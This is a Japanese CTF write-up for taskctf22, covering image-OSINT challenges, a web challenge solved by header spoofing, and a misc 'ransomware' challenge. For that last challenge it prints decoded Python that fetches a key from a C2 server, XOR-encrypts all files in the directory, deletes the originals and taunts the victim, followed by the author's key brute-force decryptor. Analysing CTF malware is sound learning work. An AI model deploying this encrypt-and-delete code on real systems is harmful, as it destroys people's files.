taskctf22 writeup
はじめに
task4233さんのお誕生日CTFに参加しました
お誕生日おめでとうございます👏
osint
welcome
taskctf 2019 writeupで調べる
flag
taskctf{let's_enj0y!}
ramen
ctfのosint問題を初めて取り組んだので、とりあえずctf osintで調べた。
https://speakerdeck.com/meow_noisy/ctf-osintkategori-ru-men このスライドが良さそうだったので参考にした。
スライドで写真の分析に大事なこととして、画像EXIFや画像検索を丁寧に行うことが大事としていたので丁寧にした。(最初は目で分析をしようとしてた…)
Google Lensで検索すると、それっぽい店が出てくるので提出
flag
taskctf{蝋燭屋}
kofun
まず、さっきと同じようにGoogle Lensでkofun.jpegを検索する。それっぽい検索はヒットするが、なかなか正解しない。
問題をよく読むと、作者のSNSにもアップロードしたと書かれていたので、作者のtwitterのメディア欄を漁ると、同じ古墳の画像ともう一枚埴輪がいる画像を得られた。
もう一枚の方を画像検索すると、龍角寺古墳郡というのがヒットして、これがかなり一致してそうだった。
答えは漢字で提出せよと書かれていたので、龍角寺古墳群をWikipediaで調べて、名前があるもの(第◯号古墳でない)を全部提出するも、正解しない。
そのあと結構わからずに椅子を温めていたが、Google Mapで龍角寺古墳郡の周りを調べていると、上福田岩屋古墳というのがヒットし、これっぽかったので提出するとSuccess
flag
taskctf{上福田岩屋古墳}
web
robots
robots.txtを見ると、
User-Agent: * Disallow: /admin/flag
とあったので、http://34.82.208.2:31481/admin/flagを見ると、
401 Unauthorized
*** is not internal IP address :(
と出た。
is not internal IP addrssとあるので、問題サーバと同じサーバからアクセスしたことにすればいいのかなと思った。
こういう系はリクエストを書き換える系だなと思い、Burp Suiteでリクエストをインターセプトしてごにょごにょしようとしたが、何を書き換えればいいかわからなかった。
CTF終了後writeupを見ると、X-Forwarded-Forというヘッダーがあり、それを使うと解けるらしかった。
flag
taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}
反省としては、http通信の知識が浅く、ヘッダーを付け加えるという発想がなかった。ctf web headerとか調べると良いのかなと思った。
misc
ransomeware
まず./hbd.shを実行するとエラーが出た
hbd.shの中身を読むとbase64された文字列をデコードしてpythonで実行されていそうだったので、デコードしたところまで実行すると次のコードが現れた。
#!/usr/bin/env python3
import requests
import glob
import os
C2 = "https://c2.task4233.dev/bD7bB7pc57d2"
def main():
# get a key from a c2 server
key = int(requests.get(C2).text)
files = glob.glob('./*')
# added for CTF:)
assert "./taskctf_flag.txt" in files
# encrypt all files
for file in files:
# ignore this script and directories
if os.path.basename(file) == os.path.basename(__file__):
continue
if not os.path.isfile(file):
continue
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
# delete the raw file
os.remove(file)
print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')
if __name__ == "__main__":
main()
このコードを読み解くと、taskctf_flag.txtというファイルがあり、そのファイルの中身を位置文字ずつkeyとxorを取ったものがtaskctf_flag.txt.encryptedぽそうだった。
得られたpythonのコードを次のように変える
def main():
# encrypt all files
file = "taskctf_flag.txt.encrypted"
# key総当り
alp = "abcdefghijklmnopqrstuvwxyz"
for c in alp:
data = None
with open(file, 'r') as f:
data = f.read()
key = ord(c) ^ ord(data[0])
dec = ""
for ch in data:
dec += chr(ord(ch) ^ key)
print(dec)
if __name__ == "__main__":
main()
実行すると
atf~vasnm%gJ$fJp!flJ"%J$xeypxp{"h
bwe}ubpmn&dI'eIs"eoI!&I'{fzs{sx!k
cvd|tcqlo'eH&dHr#dnH 'H&zg{rzry j
dqc{sdvkh bO!cOu$ciO' O!}`|u}u~'m�
epbzrewji!cN bNt%bhN&!N |a}t|t&l
sayqftij"`M#aMw&akM%"M#b~ww|%o
gr`xpguhk#aL"`Lv'`jL$#L"~cv~v}$n
h}owhzgd,nC-oCy(oeC+,C-qlpyqyr+a
i|nv~i{fe-oB,nBx)ndB*-B,pmqxpxs*`
jmu}jxef.lA/mA{*mgA).A/snr{s{p)c
k~lt|kydg/m@.l@z+lf@(/@.roszrzq(b
lyks{l~c`(jG)kG},kaG/(G)uht}u}v/e
mxjrzmba)kF(jF|-j`F.)F(tiu|t|w.d
n{iqyn|ab*hE+iE.icE-*E+wjvwt-g
ozhpxo}`c+iD*hD~/hbD,+D*vkw~v~u,f
pewogpb|4v[5w[a0w}[34[5ithaiaj3y
qdvnfqc~}5wZ4vZ`1v|Z25Z4hui`h`k2x
rgumer`}~6tY7uYc2uY16Y7kvjckch1{
sftldsa|7uX6tXb3t~X07X6jwkbjbi0z
taskctf{x0r_1s_e4sy_70_1mplemen7}
u`rjbugzy1s^0r^d5rx^61^0lqmdldo6|
vcqiavdyz2p]3q]g6q{]52]3orngogl5
wbph`wex{3q\2p\f7pz\43\2nsofnfm4~
xmgoxjwt<~S=Si8uS;<S=a|`iaib;q
yl~fnykvu=R<~Rh9~tR:=R<`}ah`hc:p
zo}emzhuv>|Q?}Qk:}wQ9>Q?c~bkck`9s
となり、21行目にflagが現れる
flag
taskctf{x0r_1s_e4sy_70_1mplemen7}
Discussion